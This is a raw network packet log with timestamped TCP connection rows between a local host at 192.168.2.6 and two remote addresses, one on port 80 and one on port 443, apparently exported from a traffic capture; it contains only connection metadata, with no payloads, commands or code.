Nov 30, 2024 04:12:28.240974903 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.241072893 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.241091967 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.241942883 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.242029905 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.242237091 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.242886066 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.242976904 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.243004084 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.243851900 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.243972063 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.243976116 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.244812012 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.244918108 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.244934082 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.245781898 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.245839119 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.245861053 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.246727943 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.246781111 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.246814013 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.247678041 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.247735023 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.247776985 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.248661995 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.248718977 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.248723984 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.249598980 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.249669075 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.249696970 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.250560045 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.250657082 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.250677109 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.251512051 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.251616955 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.251841068 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.252530098 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.252609968 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.252793074 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.253446102 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.253532887 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.253556967 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.254381895 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.254494905 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.254503965 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.255364895 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.255459070 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.255481958 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.256324053 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.256377935 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.256407976 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.257282019 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.257339001 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.257349014 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.263267040 CET	443	49750	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.263355970 CET	443	49750	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.264297009 CET	49750	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.264297009 CET	49750	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.264326096 CET	49750	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.264344931 CET	443	49750	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.268081903 CET	49755	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.268136024 CET	443	49755	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.268506050 CET	49755	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.268651962 CET	49755	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.268666029 CET	443	49755	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.274593115 CET	443	49754	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.275187016 CET	49754	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.275249004 CET	443	49754	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.275707006 CET	49754	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.275722027 CET	443	49754	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.305979967 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.342314959 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.351772070 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.408950090 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.408972979 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.409109116 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.409142017 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.409279108 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.409827948 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.410110950 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.410221100 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.410839081 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.411072969 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.411195040 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.411303043 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.412014961 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.412126064 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.412972927 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.413005114 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.413084984 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.413335085 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.413966894 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.414058924 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.414632082 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.414896011 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.415010929 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.415548086 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.415838957 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.415920019 CET	443	49751	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.415937901 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.415992022 CET	443	49751	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.416017056 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.416306019 CET	49751	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.416306019 CET	49751	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.416826010 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.416861057 CET	49751	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.416884899 CET	443	49751	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.416946888 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.417778969 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.417813063 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.417889118 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.418732882 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.418867111 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.419126034 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.419128895 CET	49756	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.419174910 CET	443	49756	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.419401884 CET	49756	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.419401884 CET	49756	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.419435978 CET	443	49756	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.419703960 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.419857979 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.420445919 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.420646906 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.420856953 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.420943022 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.539746046 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.539762020 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.540637016 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.540648937 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.540678024 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.540999889 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.659581900 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.659598112 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.659770966 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.660432100 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.660449982 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.661099911 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.779558897 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.779575109 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.779583931 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.779588938 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.779597998 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.779608011 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.779618979 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.779627085 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.779638052 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.779649019 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.779660940 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.779663086 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.779675007 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.779704094 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.779763937 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.779928923 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.779941082 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.779949903 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.779959917 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.779974937 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.779980898 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.779994011 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.779994011 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.780004025 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.780013084 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.780023098 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.780050993 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.780060053 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.780076027 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.780872107 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.780881882 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.780890942 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.780900955 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.780903101 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.780909061 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.780936003 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.780942917 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.780951023 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.780961037 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.780961990 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.780971050 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.780972958 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.780982971 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.780993938 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.781004906 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.781903028 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.781913996 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.781924963 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.781929970 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.781932116 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.781940937 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.781951904 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.781954050 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.781961918 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.781971931 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.782012939 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.782510042 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.782521009 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.782533884 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.782535076 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.782546997 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.782562017 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.782572985 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.782582045 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.782587051 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.782593012 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.782603979 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.782613039 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.782624006 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.782634974 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.782669067 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.782669067 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.783585072 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.783600092 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.783611059 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.783622026 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.783632994 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.783643961 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.783657074 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.783668041 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.783668995 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.783682108 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.783689022 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.783693075 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.783703089 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.783761978 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.784533024 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.784544945 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.784554958 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.784569025 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.784579992 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.784590960 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.784595966 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.784601927 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.784626961 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.784718037 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.784740925 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.784794092 CET	443	49752	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.784796953 CET	443	49753	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.784826040 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.784862995 CET	443	49752	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.784900904 CET	443	49753	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.785490990 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.785501957 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.785511971 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.785522938 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.785532951 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.785543919 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.785553932 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.785564899 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.785569906 CET	49752	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.785569906 CET	49753	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.785574913 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.785576105 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.785588026 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.785602093 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.785609961 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.785614967 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.785615921 CET	49752	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.785624027 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.785638094 CET	443	49752	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.785650015 CET	49752	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.785656929 CET	443	49752	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.785665989 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.786243916 CET	49753	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.786243916 CET	49753	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.786269903 CET	443	49753	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.786283016 CET	443	49753	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.786377907 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.786390066 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.786400080 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.786411047 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.786422968 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.786436081 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.786926031 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.786942959 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.786948919 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.786955118 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.786966085 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.786966085 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.786981106 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.786993027 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.787003040 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.787003994 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.787014008 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.787019968 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.787024975 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.787035942 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.787039042 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.787050009 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.787072897 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.787759066 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.787933111 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.787945032 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.787955046 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.787966967 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.787977934 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.787992001 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.787995100 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.788003922 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.788013935 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.788021088 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.788024902 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.788034916 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.788048983 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.788048983 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.788048983 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.788853884 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.788865089 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.788873911 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.788880110 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.788886070 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.788896084 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.788906097 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.788917065 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.788917065 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.788928032 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.788928986 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.788944006 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.788957119 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.788957119 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.788959026 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.788970947 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.788990974 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.789664984 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.789671898 CET	49757	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.789712906 CET	443	49757	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:28.789807081 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.789819002 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.789829969 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.789839983 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.789850950 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.789861917 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.789872885 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.789884090 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.789895058 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.789896011 CET	49757	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:28.789902925 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.789906025 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.789917946 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.789927959 CET	49745	80	192.168.2.6	185.215.113.16
Nov 30, 2024 04:12:28.789928913 CET	80	49745	185.215.113.16	192.168.2.6
Nov 30, 2024 04:12:28.790518999 CET	49745	80	192.168.2.6	185.215.113.16
